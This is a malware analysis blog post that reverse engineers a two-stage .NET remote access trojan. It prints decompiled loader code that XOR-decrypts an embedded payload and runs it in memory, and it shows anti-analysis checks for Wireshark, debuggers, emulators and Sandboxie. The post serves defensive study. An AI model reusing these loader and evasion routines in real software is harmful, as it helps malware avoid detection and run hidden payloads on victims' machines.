Dot Net RAT

In this blog, a malicious remote access tool (RAT) is analysed. The term RAT is also often used as Remote Administration Tool. In the end, the terms are interchangeable, although latter is often used for benign software. The sample can be found here on VirusBay. Additionally, here is a local mirror. The password of the ZIP archive is infected, which follows the unwritten convention when sharing samples. This avoids accidental execution of a sample. Below, information regarding the sample is given.

MD5: 5a762e5381d28524d554499a2337ae34

SHA-1: c24ce7b94588a08f4a9ddfc8554ad419f1a641d9

SHA-256: 6451dad939c9bdab292445db5668deb2059d524dcfc97fa2216c4736a2c0f3e4

File type: application/x-dosexec

File size: 605.5 KB

Detection rate: 26 / 67

Editing code

Upon editing code, some might prefer an IDE, in this example Visual Studio would be suited for that. Others might prefer a simple text editor to alter the code and others might prefer the edit functionality within dnSpy. There is no right or wrong in these cases, as long as the analysis can be completed. In this practical case, I am using the exported projects that were generated by dnSpy. To open, edit and execute these projects, I used Visual Studio 2017 Community Edition. Using this method, I had to change some parts of the code to keep the decompiled code executable. If you are using different tooling, different changes might have to be made, so keep that in mind.

Loader – stage 1

The binary is written using the Dot Net Framework. dnSpy provides information about the specific Dot Net version when selecting LJFES.exePTX.exe (which is the original name, not a typo on my side), as can be seen below.

Runtime: .NET Framework 2.0

In the same screen, the entry point of the application is also given. This serves as a starting point for the analysis. Note that the namespace and the class are given, as well as the method.

ZTXNOIRBCXBXUMZRCRBVONMOE.CUCIZZCCOCRRXIIOZIOOEIRCUITOT.Main

The main function calls a lot of functions, nearly all of which reside in the same class. This is a form of obfuscation. Additionally, the names are obfuscated as well, since the names are not readable. The complete main function is given below, after which a stripped version is used during later analysis.

public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE)
{
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHJFMHF(38631, 98479);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SNQBXWTXMUKB(new byte[53106]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PUYFLGGDOAYJ(121312, 86355);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LMQIIMGGOR(new byte[12476]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GFJCCSOR(26136, 49680);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UJFSXGAZQMBM(new byte[130305]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UTAUPRBKY(61078, 60438);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KDBCANTHNL(new byte[67947]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GUPPZKMOUTHS(48613, 111162);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SWWFQBCVE(new byte[68443]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FMLAZRZYNVOG(50291, 77251);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZJMQXDLXT(new byte[92735]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YFXJVV(29395, 92506);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QUSDTFXR(new byte[79830]);
	byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR");
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AXNFFLXLOSIA(63805, 46381);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ABDLEDZAXPI(new byte[28547]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FIYHHBBYKAQO(1077, 107426);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WVNGHSRNNRW(new byte[7210]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YMFKLGT(84717, 131741);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DUGKLHAIZSIC(new byte[112375]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSMNUCDDYP(26809, 96205);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RXLHFDN(new byte[70296]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IIYFVXDCL(110008, 123655);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YCIFEQTKIMBH(new byte[66557]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XPJPEETESWNQ(85352, 44300);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FRRNVGVUPKAK(new byte[26150]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JTHDUJAD(70044, 102451);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LXJKMUOUETOB(new byte[33786]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KGNXTBFTLZ(126533, 49848);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CLQMOSHU(new byte[57574]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OYDCPYBAAAE(86430, 64473);
	byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RVLEDLYWW(new byte[10756]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PXBHPDWVN(56567, 105039);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OKAVSWEEQ(new byte[107989]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VDRXKVIH(35558, 40262);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KQIBXGQD(new byte[53143]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MCKHBLWK(66087, 21650);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WJSGJDAR(new byte[93091]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTOLOAMNUOAN(128620, 111623);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HBDIBJKKQCOJ(new byte[97335]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VEKZJUAIM(29887, 102596);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LCATOKVEKPTZ(new byte[127254]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSCIXMB(107196, 77484);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KKQMEBZIO(new byte[92008]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ETOWGFYK(92973, 12027);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CNLDDWEMLUWT(new byte[92545]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MSCKMMHT(96916, 131543);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYNFUAVORGAY(new byte[117518]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIEPJ(1124, 114459);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NVDUSBKTHWPY(new byte[67584]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BNSXJHLJCQFS(77591, 129966);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KAOYXHWXPKHW(new byte[56030]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QEJDHVDEKU(29036, 100059);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QBHYSFNDODCG(new byte[79456]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTDEHVQCEIF(68483, 125888);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KPCPFNZHKQKR(new byte[75813]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YLWLSJ(78413, 88572);
	for (int i = 0; i < array.Length; i++)
	{
		byte[] expr_3C8_cp_0 = array;
		int expr_3C8_cp_1 = i;
		expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HHYRMSBR(new byte[85113]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ESZUWZDBNUD(65224, 60464);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EEGMUGMVG(new byte[3647]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MLHHVQIIIBOT(10216, 103751);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WKLCOISDVBWB(new byte[66068]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJHOFGGLMD(74547, 62481);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNTMBQJXAF(new byte[50952]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VVZJGCLEJZHM(46655, 101301);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBJFUSJPIKL(new byte[4035]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OGIXEORWXDWD(121228, 88544);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTPHVSUJ(new byte[96233]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FBQUULKKQAGP(15281, 104569);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DSTNWXQOBH(new byte[120349]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KLSGDKG(39153, 1316);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JLKNRQLMIVLU(new byte[73582]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SRIXURKILV(44588, 2102);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IGOGIYKH(new byte[4778]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQAVW(29351, 49183);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIMCQZZD(new byte[124507]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UGZYFB(75038, 131858);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KCLEJTCLDQPE(new byte[107104]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ADQYTSVPQGBG(125381, 125207);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CFBZKGCAEQJI(new byte[90505]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TNKAZYFCFZUV(73670, 116380);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BKRNZLORRYP(new byte[111850]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EFGNNXCWX(4846, 92862);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BTPNIKAUMPE(new byte[58549]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWZIUZMJVFTG(5632, 56508);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TYWCHBLIGSZH(new byte[47524]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIIXCFCNLEAG(110891, 35167);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNYNDYHTODO(new byte[77354]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JKQLANHCJYWK(132457, 92627);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PJUEGQPH(new byte[43089]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MWXDG(4743, 121556);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEZJVAQKLDW(new byte[66796]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QGMEUFVGXCK(46630, 8522);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQSOHIQAVWF(new byte[78875]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MTSDJEJIU(102858, 13820);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ORKAPSQRMZT(new byte[20637]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.REORSSMNQOTJ(126406, 91441);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEDJJXAOIBZ(new byte[60647]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XEKBYWCKZYA(83408, 104304);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XCGFVUXSIJL(new byte[35931]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NHWHLZMPJ(82607, 62439);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ECJXKKSOEFJG(new byte[35098]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MDLHCRUKJGAA(52580, 44716);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EGARDBWBEBN(new byte[63103]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CQDFUFY(129160, 20890);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UNAGZB(new byte[15161]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIGFUOPPJKOV(1217, 64904);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VNGSBPECZGHV(new byte[30783]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZUSXOBUBULG(27351, 45844);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SEQKDYLUYADQ(new byte[53847]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CWEJIC(84696, 31412);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTRBEMX(new byte[91720]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FZDZRUQYCWI(93837, 107976);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JPYAJPYBNJN(new byte[39570]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TQAUKKQFRJMI(129146, 81054);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WIAMTKSLMQGF(new byte[109260]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VAHGJRMXJTS(44178, 68995);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJOHZVTGYBUY(new byte[36782]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RUFJQNAFUDKW(101320, 39551);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UFPBSRMMDWSY(new byte[18643]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BEGNXSDMLDC(27534, 71029);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YBZJVK(new byte[50494]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PWWNWWZKUDCV(37041, 73409);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZPFJJYJA(new byte[93788]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZLRLXUILEFUC(20356, 95080);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBXQARBAJN(new byte[83868]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PIXHOHTHJKUN(119417, 101495);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWJLPP(new byte[7859]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PPLWQVWRIAP(11079, 7257);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WYSUUDIGDDIH(new byte[122537]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AEGZKKGIBOI(49566, 112500);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYPXGGBWYKZ(new byte[2126]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EPIXZZNHOMMJ(99796, 125510);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JZOZSCWGZ(new byte[13728]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LHIDXLECQLAX(110239, 59031);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WTRGETKVKOCH(new byte[25328]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QSXKJRHJ(100070, 95973);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHTAMMXGYEZT(new byte[126768]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VBOSOMZUUG(17667, 72841);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QFLRSHETGLKK(new byte[15102]);
	cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);
}

A quick look at the functions within the CUCIZZCCOCRRXIIOZIOOEIRCUITOT class, provide enough information to know that this code is garbage code. Its sole purpose is to increase the difficulty for an analyst. A few of these functions are given below.

public static uint QHJFMHF(int KXKXKNHS, int SODCVNJYHKU)
{
	return 188317u;
}
 
// Token: 0x06000002 RID: 2 RVA: 0x00002060 File Offset: 0x00000260
public static byte[] SNQBXWTXMUKB(byte[] OOMWSKNQIED)
{
	return OOMWSKNQIED;
}
 
// Token: 0x06000003 RID: 3 RVA: 0x00002064 File Offset: 0x00000264
public static uint PUYFLGGDOAYJ(int YYKUVHI, int GKZTRRU)
{
	return 94478u;
}
 
// Token: 0x06000004 RID: 4 RVA: 0x0000207C File Offset: 0x0000027C
public static byte[] LMQIIMGGOR(byte[] ZTHDVNTLJYEP)
{
	return ZTHDVNTLJYEP;
}
 
// Token: 0x06000005 RID: 5 RVA: 0x00002080 File Offset: 0x00000280
public static uint GFJCCSOR(int QGUGXDOBJD, int QRIWWUFTYCG)
{
	return 117451u;
}

After removing the garbage calls within the main class, the code becomes more readable.

public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE)
{
	byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR");
	byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	for (int i = 0; i < array.Length; i++)
	{
		byte[] expr_3C8_cp_0 = array;
		int expr_3C8_cp_1 = i;
		expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);
}

The first array, named array is equal to the embedded resource CIIVMOCZIUEZBIBMECURIIXRXROXR. The second array is equal to the return value of cunkai.notin, which is yet unknown. The for-loop after that uses both arrays to perform some calculations to alter the original array. After that, yet another unknown function is called.

The noting function in the class cunkai in the buzi namespace is straightforward, as can be seen below.

public static byte[] notin(string kesten)
{
	return Encoding.ASCII.GetBytes(kesten);
}

The second unknown function, kazmaz calls the function thunda, as can be seen below. The variable named faga is never used within the function and is thus garbage code.

public static byte[] kazmaz(byte[] haspu, string[] mushenik, int faga)
{
	return (byte[])cunkai.thunda(haspu).EntryPoint.Invoke(null, new object[]
	{
		mushenik
	});
}

The return value of the thunda function is used as if it were a byte array. The entrypoint of this byte array is then invoked. Looking at the thunda function, it becomes apparent what the loader does.

public static Assembly thunda(byte[] trunda)
{
	return AppDomain.CurrentDomain.Load(trunda);
}

The given byte array, named trunda is loaded in memory, after which the entry point of the loaded assembly is invoked with the items in the string array mushenik as arguments.

One can use the export function in dnSpy (which is located under the File menu item, or copy the code and assets. An asset can be copied by right clicking on it in dnSpy and selecting Raw Save [name]. Be sure to collapse all the nodes in the tree to avoid saving an item higher up.

Since the ResourceManager did not work out of the box when the code was copied, it was added in the resources of the new Visual Studio project that was used. One can reference these objects using Properties.Resources.[name]. It is also worth to note that a new project has its own entry point and the Main function of the decompiled code should be set accordingly. In my example, I used the main function of my own project, which then called the main function of the loader, which I renamed to execute. The refactored code is given below.

public static void execute(string[] args)
{
	byte[] array = Properties.Resources.CIIVMOCZIUEZBIBMECURIIXRXROXR;
	byte[] array2 = LoaderClass.GetAsciiStringAsBytes("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	for (int i = 0; i < array.Length; i++)
	{
		byte[] arrayCopy = array;
		int additionalCounter = i;
		arrayCopy[additionalCounter] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	//LoaderClass.LoadAndExecute(array, args, 25);
	File.WriteAllBytes("asset.exe", array);
}

The line of code which executes the malware has one useless argument, namely 25. This is the unused parameter within the LoadAndExecute function. Instead of executing the asset, the array is written to the disk in order to further analyse it.

Summary
Keeping an overview in mind is helpful during the analysis, but it is also helpful when moving on to the next stage. Sometimes variables are passed on. In this case, the arguments that were passed to the original binary are passed down to the second stage dropper. Quickly summarising the behaviour of the binary gives a clear overview for later use.

  1. Dropper loads an encrypted asset
  2. Dropper loads the hardcoded decryption key
  3. The asset is decrypted
  4. The decrypted asset is loaded into memory
  5. The loaded asset is then executed
  6. The arguments that are given to the dropper, are passed on to the loaded asset

In the previous chapter, the same approach was used to illustrate how to approach unknown code. In this case, the organised method proves to be valuable as well. There is a whole other namespace in which a complete different Dot Net project resides. This project contains a Windows Form named frmMain within the EXAM_001 namespace. The length of the form is 477 lines of code, all of which were essentially skipped due to the factual approach. It never hurts to quickly skim through the code to see if anything looks suspicious, but it should not be the main point on which is focused.

Loader – stage 2

The asset.exe file is also a Dot Net executable, like the first stage dropper. Using dnSpy, the original name of the executable becomes visible: LJFES.exe. The entrypoint for the executable is AA1.AA3.Main and is thus the place where the analysis starts. Within this executable, there are no no other namespaces nor classes, which simplifies the analysis process significantly. The main function is given below.

private static void Main(string[] PP1PP2)
{
	try
	{
		Thread.Sleep(0);
		if (AA3.DWireshark() || AA3.IsDebuggerPresent() || AA3.DEmulation() || AA3.DSandboxie())
		{
			Environment.Exit(0);
		}
		string golemiq = "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU";
		bool flag = true;
		bool flag2 = false;
		bool flag3 = true;
		bool flag4 = false;
		byte[] array = (byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("CCMIBETXUERE");
		string[] array2 = Regex.Split(Encoding.Default.GetString(array), "kozqk");
		byte[] malkopute = new byte[255];
		Assembly assembly = AppDomain.CurrentDomain.Load(AA3.bigdick(Encoding.Default.GetBytes(array2[1]), malkopute, golemiq));
		byte[] array3 = AA3.bigdick(Encoding.Default.GetBytes(array2[0]), malkopute, golemiq);
		foreach (Type type in assembly.GetTypes())
		{
			if (type.Name == "RunLib")
			{
				if (flag)
				{
					Thread.Sleep(6000);
					type.InvokeMember("okapise", 256, null, Activator.CreateInstance(type), new object[]
					{
						Assembly.GetEntryAssembly().Location,
						"OXPZYZ.exe",
						"OXPZYZ",
						false
					});
				}
				type.InvokeMember("Inj", 256, null, Activator.CreateInstance(type), new object[]
				{
					array3,
					"itself",
					false,
					false,
					false,
					"OXPZYZ.exe",
					PP1PP2
				});
				if (flag4)
				{
					type.InvokeMember("mb", 256, null, Activator.CreateInstance(type), new object[]
					{
						"[BODY]",
						"[TITLE]",
						"warning",
						"[MSGONCE]"
					});
				}
				if (flag3)
				{
					type.InvokeMember("d", 256, null, Activator.CreateInstance(type), new object[]
					{
						Encoding.Default.GetString(AA3.bigdick((byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("dl"), malkopute, golemiq)),
						"Z"
					});
				}
				if (flag2)
				{
					type.InvokeMember("zalepen", 256, null, Activator.CreateInstance(type), new object[]
					{
						AA3.bigdick((byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("bind"), malkopute, golemiq),
						"[BINDONCE]"
					});
				}
			}
		}
	}
	catch (Exception ex)
	{
		MessageBox.Show(ex.ToString());
	}
}

One thing that provides a lot of insight is the higher overview that one has, if the code is seen as if it was made of blocks. An if-statement would be an example of such a block. The exact content of a block is not yet relevant, because all the blocks together provide a lot of information about the part that is analysed, which could be a function or a class. Note that one still needs to read the code, but one does not need to fully understand each line. Later on, when analysing in detail, fully understanding the code is of importance. To illustrate this, the main function of the LJFES.exe will be analysed as such.

Every line of code within the main function is executed within a try-catch structure. The catch-clause catches any exception using the Exception class. The exception is shown within a messagebox, which is not really stealthy behaviour and might indicate that the malware is still in development, meaning that this might be a test build.

The next block is an if-statement which executes multiple functions. If any of the conditions within the statement is met, the program terminates itself. After some lines of code, the last (and biggest) block of code is found. If the name of the type equals RunLib, four if-statements are encountered, each invoking a member of the given RunLib if the condition is met. This is most likely a key part in the bot since it gives away which features are present and where the code for these features is located.

With the abovementioned analysis in mind, one can look in detail to the code. This time, the goal is to fully understand and analyse the code. Unlike the first binary, not all fields nor methods are obfuscated in this class. The first if-statement is given below.

Thread.Sleep(0);
if (AA3.DWireshark() || AA3.IsDebuggerPresent() || AA3.DEmulation() || AA3.DSandboxie())
{
	Environment.Exit(0);
}

The names of the functions are a clear indication of the function’s purpose, in which the first letter of the first, third and last function (which is D) most likely stands for Detection. To make sure that the functions actually live up to their name, they will be analysed, starting with the DWireshark function.

private static bool DWireshark()
{
	Process[] processes = Process.GetProcesses();
	foreach (Process process in processes)
	{
		if (process.MainWindowTitle.Equals("The Wireshark Network Analyzer"))
		{
			return true;
		}
	}
	return false;
}

If there is any process running in which the main window title equals The Wireshark Network Analyzer, the function returns true. This causes the malware to shut down, avoiding analysis.

Moving on to the second function, which is named IsDebuggerPresent. To avoid being debugged, malware often checks if a debugger is attached to the process.

[DllImport("kernel32")]
private static extern bool IsDebuggerPresent();

Using the native function inside the kernel32, a boolean is returned depending if a debugger is attached. Moving on to the third function, of which the code is given below.

private static bool DEmulation()
{
	long num = (long)Environment.TickCount;
	Thread.Sleep(500);
	long num2 = (long)Environment.TickCount;
	return num2 - num < 500L;
}

The uptime of the system in miliseconds can be obtained via the field Environment.TickCount. The sleep in between the two values should also be the approximate difference between the two saved values. Emulators often patch the sleep function, which effectively skips the time that the program should sleep. This way, using a sleep call with the duration of several minutes, does not evade the emulator.
Due to the schedueling of the operating system, the tick difference might be a bit more or a bit less than the given value, but it should not be far off. The time to sleep is then compared to the difference between the two saved values and should not be less. Note that the difference is sometimes less than the time to sleep (based on my own testing upon writing such checks in proof-of-concepts), which would cause this malware to shut down in some edge cases whilst the sleep function is not checked.

The code of the last function is given below.

[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
 
private static bool DSandboxie()
{
	return AA3.GetModuleHandle("SbieDll.dll").ToInt32() != 0;
}

Using the native function GetModuleHandle (which resides in the kernel32.dll), a pointer towards the handle is obtained. If this pointer is anything but 0, it means that the DLL is actually loaded. If it is equal to 0, the DLL is not loaded into memory and the application is therefore not in the Sandboxie sandbox.

If none of the detection functions returns true, the execution of the program continues. There are only 10 lines of code between the environment check and the the if-statement with the alleged key functionality. The 10 lines of code are given below.

string golemiq = "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU";
bool flag = true;
bool flag2 = false;
bool flag3 = true;
bool flag4 = false;
byte[] array = (byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("CCMIBETXUERE");
string[] array2 = Regex.Split(Encoding.Default.GetString(array), "kozqk");
byte[] malkopute = new byte[255];
Assembly assembly = AppDomain.CurrentDomain.Load(AA3.bigdick(Encoding.Default.GetBytes(array2[1]), malkopute, golemiq));
byte[] array3 = AA3.bigdick(Encoding.Default.GetBytes(array2[0]), malkopute, golemiq);

The string named golemiq is later used in the function calld bigdick. In the first usage, the variable assembly is set. The second time, the variable array3 is set. The code of the bigdick function is given below.

public static byte[] bigdick(byte[] feromero, byte[] malkopute, string golemiq)
{
	malkopute = Encoding.ASCII.GetBytes(golemiq);
	for (int i = 0; i < feromero.Length; i++)
	{
		int num = i;
		feromero[num] ^= (byte)(malkopute[i % golemiq.Length] >> i + 5 + malkopute.Length & 150);
	}
	return feromero;
}

The names in the function declaration are equal to the names of the variables that are used within the main function. The first variable is returned at the end of the function. It is therefor logical to rename this variable to output.

The second variable is the input during the calculations that are executed within the function to alter the output based on a custom encryption method. Hence, the variable will be renamed to input.

Lastly, the third parameter that is provided, is converted to a byte array and stored in the input. This is the key of the custom encryption that is used and it therefor follows logically to rename this variable key.

The name of the function can also be altered to something meaningful, such as decrypt, since it returns an altered byte array, which is later used. Below, the refactored code is given.

public static byte[] decrypt(byte[] output, byte[] input, string key)
{
	input = Encoding.ASCII.GetBytes(key);
	for (int i = 0; i < output.Length; i++)
	{
		int num = i;
		output[num] ^= (byte)(input[i % key.Length] >> i + 5 + input.Length & 150);
	}
	return output;
}

The variables named flagN (in which N equals a number) are set once and never changed afterwards. This is important, because the if-statements that invoke the functions within the loaded library, are executed based upon the value of these flagN booleans. Only if the value is true, the function is invoked. Since two of the flagN booleans are set to false, these functions will never be invoked. This is an additional clue that the malware might still be in development. Alternatively, it might be in continuous development.

The variable named array is equal to the resource named CCMIBETXUERE. In the next line, it is split based upon the string kozqk. The variable assembly is set to the decrypted value of the value of the second item of the split resource.

